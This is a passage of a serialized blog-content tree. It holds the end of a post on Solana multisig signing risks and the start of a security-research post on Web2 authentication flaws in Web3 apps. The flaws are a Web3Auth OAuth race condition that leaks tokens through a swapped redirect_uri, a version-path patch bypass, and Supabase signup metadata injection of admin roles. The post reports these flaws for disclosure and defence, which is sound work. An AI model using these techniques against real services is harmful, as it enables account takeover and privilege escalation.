message",{"type":20,"tag":315,"props":67375,"children":67376},{"style":334},[67377],{"type":26,"value":34271},{"type":20,"tag":315,"props":67379,"children":67380},{"class":317,"line":365},[67381,67386,67390,67395,67399,67403,67407,67411,67415,67419,67423,67427,67432,67436,67440,67445,67449,67453,67457],{"type":20,"tag":315,"props":67382,"children":67383},{"style":322},[67384],{"type":26,"value":67385}," Message",{"type":20,"tag":315,"props":67387,"children":67388},{"style":334},[67389],{"type":26,"value":1861},{"type":20,"tag":315,"props":67391,"children":67392},{"style":345},[67393],{"type":26,"value":67394},"new_with_nonce",{"type":20,"tag":315,"props":67396,"children":67397},{"style":328},[67398],{"type":26,"value":1049},{"type":20,"tag":315,"props":67400,"children":67401},{"style":345},[67402],{"type":26,"value":2266},{"type":20,"tag":315,"props":67404,"children":67405},{"style":328},[67406],{"type":26,"value":2117},{"type":20,"tag":315,"props":67408,"children":67409},{"style":635},[67410],{"type":26,"value":42099},{"type":20,"tag":315,"props":67412,"children":67413},{"style":328},[67414],{"type":26,"value":21465},{"type":20,"tag":315,"props":67416,"children":67417},{"style":322},[67418],{"type":26,"value":40438},{"type":20,"tag":315,"props":67420,"children":67421},{"style":328},[67422],{"type":26,"value":1049},{"type":20,"tag":315,"props":67424,"children":67425},{"style":334},[67426],{"type":26,"value":1490},{"type":20,"tag":315,"props":67428,"children":67429},{"style":635},[67430],{"type":26,"value":67431},"evil_nonce_authority",{"type":20,"tag":315,"props":67433,"children":67434},{"style":328},[67435],{"type":26,"value":13578},{"type":20,"tag":315,"props":67437,"children":67438},{"style":334},[67439],{"type":26,"value":1490},{"type":20,"tag":315,"props":67441,"children":67442},{"style":635},[67443],{"type":26,"value":67444},"nonce_account",{"type":20,"tag":315,"props":67446,"children":67447},{"style":328},[67448],{"type":26,"value":44},{"type":20,"tag":315,"props":67450,"children":67451},{"style":334},[67452],{"type":26,"value":1490},{"type":20,"tag":315,"props":67454,"children":67455},{"style":635},[67456],{"type":26,"value":67431},{"type":20,"tag":315,"props":67458,"children":67459},{"style":328},[67460],{"type":26,"value":380},{"type":20,"tag":315,"props":67462,"children":67463},{"class":317,"line":374},[67464,67468,67473],{"type":20,"tag":315,"props":67465,"children":67466},{"style":334},[67467],{"type":26,"value":1549},{"type":20,"tag":315,"props":67469,"children":67470},{"style":345},[67471],{"type":26,"value":67472},"serialize",{"type":20,"tag":315,"props":67474,"children":67475},{"style":328},[67476],{"type":26,"value":568},{"type":20,"tag":29,"props":67478,"children":67479},{},[67480,67482,67489],{"type":26,"value":67481},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":20,"tag":35,"props":67483,"children":67486},{"href":67484,"rel":67485},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[39],[67487],{"type":26,"value":67488},"logs the fee-payer here",{"type":26,"value":61},{"type":20,"tag":305,"props":67491,"children":67493},{"className":14916,"code":67492,"language":1528,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[67494],{"type":20,"tag":119,"props":67495,"children":67496},{"__ignoreMap":7},[67497,67556,67612],{"type":20,"tag":315,"props":67498,"children":67499},{"class":317,"line":318},[67500,67504,67509,67513,67517,67522,67526,67531,67535,67539,67543,67547,67552],{"type":20,"tag":315,"props":67501,"children":67502},{"style":541},[67503],{"type":26,"value":436},{"type":20,"tag":315,"props":67505,"children":67506},{"style":345},[67507],{"type":26,"value":67508}," print_config_show_authority",{"type":20,"tag":315,"props":67510,"children":67511},{"style":328},[67512],{"type":26,"value":1049},{"type":20,"tag":315,"props":67514,"children":67515},{"style":541},[67516],{"type":26,"value":8054},{"type":20,"tag":315,"props":67518,"children":67519},{"style":328},[67520],{"type":26,"value":67521}," PrintConfig",{"type":20,"tag":315,"props":67523,"children":67524},{"style":334},[67525],{"type":26,"value":901},{"type":20,"tag":315,"props":67527,"children":67528},{"style":635},[67529],{"type":26,"value":67530}," print_config",{"type":20,"tag":315,"props":67532,"children":67533},{"style":328},[67534],{"type":26,"value":44},{"type":20,"tag":315,"props":67536,"children":67537},{"style":541},[67538],{"type":26,"value":8054},{"type":20,"tag":315,"props":67540,"children":67541},{"style":328},[67542],{"type":26,"value":19261},{"type":20,"tag":315,"props":67544,"children":67545},{"style":334},[67546],{"type":26,"value":901},{"type":20,"tag":315,"props":67548,"children":67549},{"style":635},[67550],{"type":26,"value":67551}," authority",{"type":20,"tag":315,"props":67553,"children":67554},{"style":328},[67555],{"type":26,"value":549},{"type":20,"tag":315,"props":67557,"children":67558},{"class":317,"line":356},[67559,67563,67567,67571,67576,67580,67584,67589,67593,67598,67602,67607],{"type":20,"tag":315,"props":67560,"children":67561},{"style":525},[67562],{"type":26,"value":731},{"type":20,"tag":315,"props":67564,"children":67565},{"style":635},[67566],{"type":26,"value":67530},{"type":20,"tag":315,"props":67568,"children":67569},{"style":328},[67570],{"type":26,"value":12158},{"type":20,"tag":315,"props":67572,"children":67573},{"style":635},[67574],{"type":26,"value":67575},"expert_mode",{"type":20,"tag":315,"props":67577,"children":67578},{"style":334},[67579],{"type":26,"value":22113},{"type":20,"tag":315,"props":67581,"children":67582},{"style":334},[67583],{"type":26,"value":11264},{"type":20,"tag":315,"props":67585,"children":67586},{"style":345},[67587],{"type":26,"value":67588},"pubkeys_equal",{"type":20,"tag":315,"props":67590,"children":67591},{"style":328},[67592],{"type":26,"value":1049},{"type":20,"tag":315,"props":67594,"children":67595},{"style":635},[67596],{"type":26,"value":67597},"print_config",{"type":20,"tag":315,"props":67599,"children":67600},{"style":328},[67601],{"type":26,"value":12158},{"type":20,"tag":315,"props":67603,"children":67604},{"style":635},[67605],{"type":26,"value":67606},"signer_pubkey",{"type":20,"tag":315,"props":67608,"children":67609},{"style":328},[67610],{"type":26,"value":67611},", authority);\n",{"type":20,"tag":315,"props":67613,"children":67614},{"class":317,"line":365},[67615],{"type":20,"tag":315,"props":67616,"children":67617},{"style":328},[67618],{"type":26,"value":577},{"type":20,"tag":29,"props":67620,"children":67621},{},[67622],{"type":26,"value":67623},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":20,"tag":29,"props":67625,"children":67626},{},[67627],{"type":26,"value":67628},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":20,"tag":29,"props":67630,"children":67631},{},[67632],{"type":26,"value":67633},"We can then use the following procedure.",{"type":20,"tag":68,"props":67635,"children":67636},{},[67637,67642,67647,67652,67657],{"type":20,"tag":72,"props":67638,"children":67639},{},[67640],{"type":26,"value":67641},"Ensure all signers have no durable nonce accounts.",{"type":20,"tag":72,"props":67643,"children":67644},{},[67645],{"type":26,"value":67646},"The first signer signs and submits the transaction.",{"type":20,"tag":72,"props":67648,"children":67649},{},[67650],{"type":26,"value":67651},"Wait two minutes for all recent blockhashes to expire.",{"type":20,"tag":72,"props":67653,"children":67654},{},[67655],{"type":26,"value":67656},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":20,"tag":72,"props":67658,"children":67659},{},[67660],{"type":26,"value":67661},"Repeat steps 2 to 4 for each signer",{"type":20,"tag":21,"props":67663,"children":67665},{"id":67664},"beyond",[67666],{"type":26,"value":67667},"Beyond",{"type":20,"tag":29,"props":67669,"children":67670},{},[67671],{"type":26,"value":67672},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":20,"tag":29,"props":67674,"children":67675},{},[67676,67678,67685],{"type":26,"value":67677},"For example, pcaversaccio wrote a tool to ",{"type":20,"tag":35,"props":67679,"children":67682},{"href":67680,"rel":67681},"https://github.com/pcaversaccio/safe-tx-hashes-util",[39],[67683],{"type":26,"value":67684},"validate Safe transaction hashes",{"type":26,"value":67686},". As the space matures, we hope more open source tooling will come to light.",{"type":20,"tag":16825,"props":67688,"children":67690},{"className":67689,"dataFootnotes":7},[16828],[67691,67696],{"type":20,"tag":21,"props":67692,"children":67694},{"className":67693,"id":13882},[16833],[67695],{"type":26,"value":16836},{"type":20,"tag":68,"props":67697,"children":67698},{},[67699],{"type":20,"tag":72,"props":67700,"children":67701},{"id":28781},[67702,67704,67712,67714],{"type":26,"value":67703},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":20,"tag":35,"props":67705,"children":67709},{"href":67706,"rel":67707,":style":67708},"https://twitter.com/PierreArowana",[39],"color: #B1D0EE; text-decoration: underline;",[67710],{"type":26,"value":67711},"@PierreArowana",{"type":26,"value":67713}," for pointing this out to me. ",{"type":20,"tag":35,"props":67715,"children":67717},{"href":28809,"ariaLabel":16939,"className":67716,"dataFootnoteBackref":7},[16941],[67718],{"type":26,"value":16944},{"type":20,"tag":1226,"props":67720,"children":67721},{},[67722],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":67724},[67725,67729,67730,67731],{"id":65921,"depth":356,"text":65924,"children":67726},[67727,67728],{"id":65932,"depth":365,"text":65935},{"id":66211,"depth":365,"text":66214},{"id":66932,"depth":356,"text":66935},{"id":67664,"depth":356,"text":67667},{"id":13882,"depth":356,"text":16836},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":67736,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":67737,"description":67738,"date":67739,"author":67740,"image":67741,"isFeatured":15,"onBlogPage":15,"tags":67743,"body":67744,"_type":1242,"_id":69442,"_source":1244,"_file":69443,"_stem":69444,"_extension":1247},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[29617,29616],{"src":67742},"/posts/web2-in-web3/title.jpg",[30556],{"type":17,"children":67745,"toc":69424},[67746,67751,67756,67761,67787,67793,67798,67804,67825,67831,67836,67843,67856,67886,67892,67936,67943,67949,67982,68003,68011,68030,68037,68042,68048,68053,68058,68083,68088,68094,68100,68121,68127,68154,68182,68189,68194,68199,68544,68548,68570,68576,68597,68611,68624,68629,68645,68650,69379,69384,69389,69394,69406,69410,69415,69420],{"type":20,"tag":29,"props":67747,"children":67748},{},[67749],{"type":26,"value":67750},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":20,"tag":29,"props":67752,"children":67753},{},[67754],{"type":26,"value":67755},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":20,"tag":29,"props":67757,"children":67758},{},[67759],{"type":26,"value":67760},"In this article, we will discuss three cases we discovered:",{"type":20,"tag":68,"props":67762,"children":67763},{},[67764,67769,67782],{"type":20,"tag":72,"props":67765,"children":67766},{},[67767],{"type":26,"value":67768},"OAuth Logic Vulnerability on an Authentication Provider",{"type":20,"tag":72,"props":67770,"children":67771},{},[67772,67774,67780],{"type":26,"value":67773},"Supabase ",{"type":20,"tag":119,"props":67775,"children":67777},{"className":67776},[],[67778],{"type":26,"value":67779},"user_metadata",{"type":26,"value":67781}," misconfiguration",{"type":20,"tag":72,"props":67783,"children":67784},{},[67785],{"type":26,"value":67786},"OAuth abuse in localhost development environment",{"type":20,"tag":21,"props":67788,"children":67790},{"id":67789},"abusing-oauth-authentication-logic",[67791],{"type":26,"value":67792},"Abusing OAuth Authentication Logic",{"type":20,"tag":29,"props":67794,"children":67795},{},[67796],{"type":26,"value":67797},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":20,"tag":219,"props":67799,"children":67801},{"id":67800},"web3auth-introduction",[67802],{"type":26,"value":67803},"Web3Auth Introduction",{"type":20,"tag":29,"props":67805,"children":67806},{},[67807,67814,67816,67823],{"type":20,"tag":35,"props":67808,"children":67811},{"href":67809,"rel":67810},"https://web3auth.io/",[39],[67812],{"type":26,"value":67813},"Web3Auth",{"type":26,"value":67815}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":20,"tag":35,"props":67817,"children":67820},{"href":67818,"rel":67819},"https://oauth.net/2/",[39],[67821],{"type":26,"value":67822},"OAuth2",{"type":26,"value":67824}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":20,"tag":219,"props":67826,"children":67828},{"id":67827},"web3auth-authentication-flow",[67829],{"type":26,"value":67830},"Web3Auth Authentication flow",{"type":20,"tag":29,"props":67832,"children":67833},{},[67834],{"type":26,"value":67835},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":20,"tag":29,"props":67837,"children":67838},{},[67839],{"type":20,"tag":2308,"props":67840,"children":67842},{"alt":48830,"src":67841},"/posts/web2-in-web3/auth-flow.png",[],{"type":20,"tag":29,"props":67844,"children":67845},{},[67846,67848,67854],{"type":26,"value":67847},"After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the ",{"type":20,"tag":119,"props":67849,"children":67851},{"className":67850},[],[67852],{"type":26,"value":67853},"client_id",{"type":26,"value":67855},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":20,"tag":29,"props":67857,"children":67858},{},[67859,67861,67867,67869,67875,67877,67884],{"type":26,"value":67860},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":20,"tag":119,"props":67862,"children":67864},{"className":67863},[],[67865],{"type":26,"value":67866},"/start",{"type":26,"value":67868}," validates the ",{"type":20,"tag":119,"props":67870,"children":67872},{"className":67871},[],[67873],{"type":26,"value":67874},"redirect_url",{"type":26,"value":67876}," against the configured ",{"type":20,"tag":35,"props":67878,"children":67881},{"href":67879,"rel":67880},"https://web3auth.io/docs/dashboard-setup/whitelisting",[39],[67882],{"type":26,"value":67883},"whitelist",{"type":26,"value":67885}," to ensure it matches one of the allowed URLs.",{"type":20,"tag":219,"props":67887,"children":67889},{"id":67888},"in-transit-cryptography",[67890],{"type":26,"value":67891},"In-transit Cryptography",{"type":20,"tag":29,"props":67893,"children":67894},{},[67895,67897,67904,67906,67912,67914,67920,67922,67927,67929,67934],{"type":26,"value":67896},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":20,"tag":35,"props":67898,"children":67901},{"href":67899,"rel":67900},"https://en.wikipedia.org/wiki/Key_(cryptography)",[39],[67902],{"type":26,"value":67903},"cryptographic key",{"type":26,"value":67905}," is derived from the ",{"type":20,"tag":119,"props":67907,"children":67909},{"className":67908},[],[67910],{"type":26,"value":67911},"sessionId",{"type":26,"value":67913}," sent in the ",{"type":20,"tag":119,"props":67915,"children":67917},{"className":67916},[],[67918],{"type":26,"value":67919},"GET",{"type":26,"value":67921}," parameter to the ",{"type":20,"tag":119,"props":67923,"children":67925},{"className":67924},[],[67926],{"type":26,"value":67866},{"type":26,"value":67928},". Since the ",{"type":20,"tag":119,"props":67930,"children":67932},{"className":67931},[],[67933],{"type":26,"value":67911},{"type":26,"value":67935}," can be controlled, it allows us to send and receive data from the session server.",{"type":20,"tag":29,"props":67937,"children":67938},{},[67939],{"type":20,"tag":2308,"props":67940,"children":67942},{"alt":48830,"src":67941},"/posts/web2-in-web3/image-2.png",[],{"type":20,"tag":219,"props":67944,"children":67946},{"id":67945},"race-condition",[67947],{"type":26,"value":67948},"Race Condition",{"type":20,"tag":29,"props":67950,"children":67951},{},[67952,67954,67959,67961,67967,67969,67974,67976,67981],{"type":26,"value":67953},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":20,"tag":119,"props":67955,"children":67957},{"className":67956},[],[67958],{"type":26,"value":67866},{"type":26,"value":67960}," and later used in the ",{"type":20,"tag":119,"props":67962,"children":67964},{"className":67963},[],[67965],{"type":26,"value":67966},"/end",{"type":26,"value":67968}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (",{"type":20,"tag":119,"props":67970,"children":67972},{"className":67971},[],[67973],{"type":26,"value":67866},{"type":26,"value":67975},") but before use (",{"type":20,"tag":119,"props":67977,"children":67979},{"className":67978},[],[67980],{"type":26,"value":67966},{"type":26,"value":19146},{"type":20,"tag":29,"props":67983,"children":67984},{},[67985,67987,67994,67996,68001],{"type":26,"value":67986},"To exploit this ",{"type":20,"tag":35,"props":67988,"children":67991},{"href":67989,"rel":67990},"https://portswigger.net/web-security/race-conditions",[39],[67992],{"type":26,"value":67993},"race condition",{"type":26,"value":67995},", an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":20,"tag":119,"props":67997,"children":67999},{"className":67998},[],[68000],{"type":26,"value":67911},{"type":26,"value":68002}," but with modified malicious parameters.",{"type":20,"tag":29,"props":68004,"children":68005},{},[68006],{"type":20,"tag":3717,"props":68007,"children":68008},{},[68009],{"type":26,"value":68010},"What can be modified to achieve something impactful?",{"type":20,"tag":29,"props":68012,"children":68013},{},[68014,68016,68022,68024,68029],{"type":26,"value":68015},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":20,"tag":119,"props":68017,"children":68019},{"className":68018},[],[68020],{"type":26,"value":68021},"redirect_uri",{"type":26,"value":68023}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":20,"tag":119,"props":68025,"children":68027},{"className":68026},[],[68028],{"type":26,"value":67853},{"type":26,"value":61},{"type":20,"tag":29,"props":68031,"children":68032},{},[68033],{"type":20,"tag":2308,"props":68034,"children":68036},{"alt":48830,"src":68035},"/posts/web2-in-web3/image-3.png",[],{"type":20,"tag":29,"props":68038,"children":68039},{},[68040],{"type":26,"value":68041},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":20,"tag":219,"props":68043,"children":68045},{"id":68044},"patch-bypass",[68046],{"type":26,"value":68047},"Patch & Bypass",{"type":20,"tag":29,"props":68049,"children":68050},{},[68051],{"type":26,"value":68052},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":20,"tag":29,"props":68054,"children":68055},{},[68056],{"type":26,"value":68057},"To bypass the fix we were able to change the version in the URL:",{"type":20,"tag":15089,"props":68059,"children":68060},{},[68061,68072],{"type":20,"tag":72,"props":68062,"children":68063},{},[68064,68070],{"type":20,"tag":119,"props":68065,"children":68067},{"className":68066},[],[68068],{"type":26,"value":68069},"https://auth.web3auth.io/v8/start",{"type":26,"value":68071}," (latest version)",{"type":20,"tag":72,"props":68073,"children":68074},{},[68075,68081],{"type":20,"tag":119,"props":68076,"children":68078},{"className":68077},[],[68079],{"type":26,"value":68080},"https://auth.web3auth.io/v6/start",{"type":26,"value":68082}," (bypass)",{"type":20,"tag":29,"props":68084,"children":68085},{},[68086],{"type":26,"value":68087},"We reported this issue, and it was addressed just as quickly!",{"type":20,"tag":21,"props":68089,"children":68091},{"id":68090},"supabase-metadata-manipulation",[68092],{"type":26,"value":68093},"Supabase metadata manipulation",{"type":20,"tag":219,"props":68095,"children":68097},{"id":68096},"supabase-authentication-flow",[68098],{"type":26,"value":68099},"Supabase Authentication flow",{"type":20,"tag":29,"props":68101,"children":68102},{},[68103,68110,68112,68119],{"type":20,"tag":35,"props":68104,"children":68107},{"href":68105,"rel":68106},"https://supabase.com/docs/guides/auth",[39],[68108],{"type":26,"value":68109},"Supabase",{"type":26,"value":68111}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":20,"tag":35,"props":68113,"children":68116},{"href":68114,"rel":68115},"https://jwt.io/",[39],[68117],{"type":26,"value":68118},"JWT",{"type":26,"value":68120}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":20,"tag":219,"props":68122,"children":68124},{"id":68123},"jwt-verification",[68125],{"type":26,"value":68126},"JWT verification",{"type":20,"tag":29,"props":68128,"children":68129},{},[68130,68132,68137,68138,68144,68146,68152],{"type":26,"value":68131},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":20,"tag":119,"props":68133,"children":68135},{"className":68134},[],[68136],{"type":26,"value":67779},{"type":26,"value":9392},{"type":20,"tag":119,"props":68139,"children":68141},{"className":68140},[],[68142],{"type":26,"value":68143},"identity_data",{"type":26,"value":68145},", in a signup request by manipulating the input inside the ",{"type":20,"tag":119,"props":68147,"children":68149},{"className":68148},[],[68150],{"type":26,"value":68151},"\"data\": {}",{"type":26,"value":68153}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":20,"tag":29,"props":68155,"children":68156},{},[68157,68159,68165,68166,68172,68174,68180],{"type":26,"value":68158},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":20,"tag":119,"props":68160,"children":68162},{"className":68161},[],[68163],{"type":26,"value":68164},"\"role\": \"admin\"",{"type":26,"value":11534},{"type":20,"tag":119,"props":68167,"children":68169},{"className":68168},[],[68170],{"type":26,"value":68171},"\"email_verified\": true",{"type":26,"value":68173},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":20,"tag":119,"props":68175,"children":68177},{"className":68176},[],[68178],{"type":26,"value":68179},"\"test\": \"test\"",{"type":26,"value":68181},", enabling us to inject arbitrary data into the final JWT token.",{"type":20,"tag":29,"props":68183,"children":68184},{},[68185],{"type":20,"tag":2308,"props":68186,"children":68188},{"alt":48830,"src":68187},"/posts/web2-in-web3/image-4.png",[],{"type":20,"tag":29,"props":68190,"children":68191},{},[68192],{"type":26,"value":68193},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":20,"tag":29,"props":68195,"children":68196},{},[68197],{"type":26,"value":68198},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":20,"tag":305,"props":68200,"children":68202},{"className":29779,"code":68201,"language":29781,"meta":7,"style":7},"function parseSupaBase(token) {\n try {\n const [header, payload, signature] = token.split('.');\n const decodedHeader = JSON.parse(atob(header));\n const decodedPayload = JSON.parse(atob(payload));\n return { header: decodedHeader, payload: decodedPayload, signature };\n } catch (error) {\n console.error('Error parsing token:', error);\n return null;\n }\n}\n",[68203],{"type":20,"tag":119,"props":68204,"children":68205},{"__ignoreMap":7},[68206,68231,68243,68312,68361,68409,68454,68477,68514,68530,68537],{"type":20,"tag":315,"props":68207,"children":68208},{"class":317,"line":318},[68209,68213,68218,68222,68227],{"type":20,"tag":315,"props":68210,"children":68211},{"style":541},[68212],{"type":26,"value":615},{"type":20,"tag":315,"props":68214,"children":68215},{"style":345},[68216],{"type":26,"value":68217}," parseSupaBase",{"type":20,"tag":315,"props":68219,"children":68220},{"style":328},[68221],{"type":26,"value":1049},{"type":20,"tag":315,"props":68223,"children":68224},{"style":635},[68225],{"type":26,"value":68226},"token",{"type":20,"tag":315,"props":68228,"children":68229},{"style":328},[68230],{"type":26,"value":549},{"type":20,"tag":315,"props":68232,"children":68233},{"class":317,"line":356},[68234,68239],{"type":20,"tag":315,"props":68235,"children":68236},{"style":525},[68237],{"type":26,"value":68238}," try",{"type":20,"tag":315,"props":68240,"children":68241},{"style":328},[68242],{"type":26,"value":1092},{"type":20,"tag":315,"props":68244,"children":68245},{"class":317,"line":365},[68246,68250,68254,68259,68263,68268,68272,68277,68281,68285,68290,68294,68299,68303,68308],{"type":20,"tag":315,"props":68247,"children":68248},{"style":541},[68249],{"type":26,"value":31315},{"type":20,"tag":315,"props":68251,"children":68252},{"style":328},[68253],{"type":26,"value":21437},{"type":20,"tag":315,"props":68255,"children":68256},{"style":635},[68257],{"type":26,"value":68258},"header",{"type":20,"tag":315,"props":68260,"children":68261},{"style":328},[68262],{"type":26,"value":44},{"type":20,"tag":315,"props":68264,"children":68265},{"style":635},[68266],{"type":26,"value":68267},"payload",{"type":20,"tag":315,"props":68269,"children":68270},{"style":328},[68271],{"type":26,"value":44},{"type":20,"tag":315,"props":68273,"children":68274},{"style":635},[68275],{"type":26,"value":68276},"signature",{"type":20,"tag":315,"props":68278,"children":68279},{"style":328},[68280],{"type":26,"value":7057},{"type":20,"tag":315,"props":68282,"children":68283},{"style":334},[68284],{"type":26,"value":337},{"type":20,"tag":315,"props":68286,"children":68287},{"style":635},[68288],{"type":26,"value":68289}," token",{"type":20,"tag":315,"props":68291,"children":68292},{"style":328},[68293],{"type":26,"value":61},{"type":20,"tag":315,"props":68295,"children":68296},{"style":345},[68297],{"type":26,"value":68298},"split",{"type":20,"tag":315,"props":68300,"children":68301},{"style":328},[68302],{"type":26,"value":1049},{"type":20,"tag":315,"props":68304,"children":68305},{"style":2652},[68306],{"type":26,"value":68307},"'.'",{"type":20,"tag":315,"props":68309,"children":68310},{"style":328},[68311],{"type":26,"value":2214},{"type":20,"tag":315,"props":68313,"children":68314},{"class":317,"line":374},[68315,68319,68324,68328,68332,68336,68340,68344,68349,68353,68357],{"type":20,"tag":315,"props":68316,"children":68317},{"style":541},[68318],{"type":26,"value":31315},{"type":20,"tag":315,"props":68320,"children":68321},{"style":635},[68322],{"type":26,"value":68323}," decodedHeader",{"type":20,"tag":315,"props":68325,"children":68326},{"style":334},[68327],{"type":26,"value":1395},{"type":20,"tag":315,"props":68329,"children":68330},{"style":635},[68331],{"type":26,"value":35944},{"type":20,"tag":315,"props":68333,"children":68334},{"style":328},[68335],{"type":26,"value":61},{"type":20,"tag":315,"props":68337,"children":68338},{"style":345},[68339],{"type":26,"value":37628},{"type":20,"tag":315,"props":68341,"children":68342},{"style":328},[68343],{"type":26,"value":1049},{"type":20,"tag":315,"props":68345,"children":68346},{"style":345},[68347],{"type":26,"value":68348},"atob",{"type":20,"tag":315,"props":68350,"children":68351},{"style":328},[68352],{"type":26,"value":1049},{"type":20,"tag":315,"props":68354,"children":68355},{"style":635},[68356],{"type":26,"value":68258},{"type":20,"tag":315,"props":68358,"children":68359},{"style":328},[68360],{"type":26,"value":5618},{"type":20,"tag":315,"props":68362,"children":68363},{"class":317,"line":383},[68364,68368,68373,68377,68381,68385,68389,68393,68397,68401,68405],{"type":20,"tag":315,"props":68365,"children":68366},{"style":541},[68367],{"type":26,"value":31315},{"type":20,"tag":315,"props":68369,"children":68370},{"style":635},[68371],{"type":26,"value":68372}," decodedPayload",{"type":20,"tag":315,"props":68374,"children":68375},{"style":334},[68376],{"type":26,"value":1395},{"type":20,"tag":315,"props":68378,"children":68379},{"style":635},[68380],{"type":26,"value":35944},{"type":20,"tag":315,"props":68382,"children":68383},{"style":328},[68384],{"type":26,"value":61},{"type":20,"tag":315,"props":68386,"children":68387},{"style":345},[68388],{"type":26,"value":37628},{"type":20,"tag":315,"props":68390,"children":68391},{"style":328},[68392],{"type":26,"value":1049},{"type":20,"tag":315,"props":68394,"children":68395},{"style":345},[68396],{"type":26,"value":68348},{"type":20,"tag":315,"props":68398,"children":68399},{"style":328},[68400],{"type":26,"value":1049},{"type":20,"tag":315,"props":68402,"children":68403},{"style":635},[68404],{"type":26,"value":68267},{"type":20,"tag":315,"props":68406,"children":68407},{"style":328},[68408],{"type":26,"value":5618},{"type":20,"tag":315,"props":68410,"children":68411},{"class":317,"line":407},[68412,68416,68420,68425,68429,68433,68438,68442,68446,68450],{"type":20,"tag":315,"props":68413,"children":68414},{"style":525},[68415],{"type":26,"value":14145},{"type":20,"tag":315,"props":68417,"children":68418},{"style":328},[68419],{"type":26,"value":7985},{"type":20,"tag":315,"props":68421,"children":68422},{"style":635},[68423],{"type":26,"value":68424},"header:",{"type":20,"tag":315,"props":68426,"children":68427},{"style":635},[68428],{"type":26,"value":68323},{"type":20,"tag":315,"props":68430,"children":68431},{"style":328},[68432],{"type":26,"value":44},{"type":20,"tag":315,"props":68434,"children":68435},{"style":635},[68436],{"type":26,"value":68437},"payload:",{"type":20,"tag":315,"props":68439,"children":68440},{"style":635},[68441],{"type":26,"value":68372},{"type":20,"tag":315,"props":68443,"children":68444},{"style":328},[68445],{"type":26,"value":44},{"type":20,"tag":315,"props":68447,"children":68448},{"style":635},[68449],{"type":26,"value":68276},{"type":20,"tag":315,"props":68451,"children":68452},{"style":328},[68453],{"type":26,"value":16702},{"type":20,"tag":315,"props":68455,"children":68456},{"class":317,"line":421},[68457,68461,68465,68469,68473],{"type":20,"tag":315,"props":68458,"children":68459},{"style":328},[68460],{"type":26,"value":14180},{"type":20,"tag":315,"props":68462,"children":68463},{"style":525},[68464],{"type":26,"value":46662},{"type":20,"tag":315,"props":68466,"children":68467},{"style":328},[68468],{"type":26,"value":463},{"type":20,"tag":315,"props":68470,"children":68471},{"style":635},[68472],{"type":26,"value":13264},{"type":20,"tag":315,"props":68474,"children":68475},{"style":328},[68476],{"type":26,"value":549},{"type":20,"tag":315,"props":68478,"children":68479},{"class":317,"line":430},[68480,68485,68489,68493,68497,68502,68506,68510],{"type":20,"tag":315,"props":68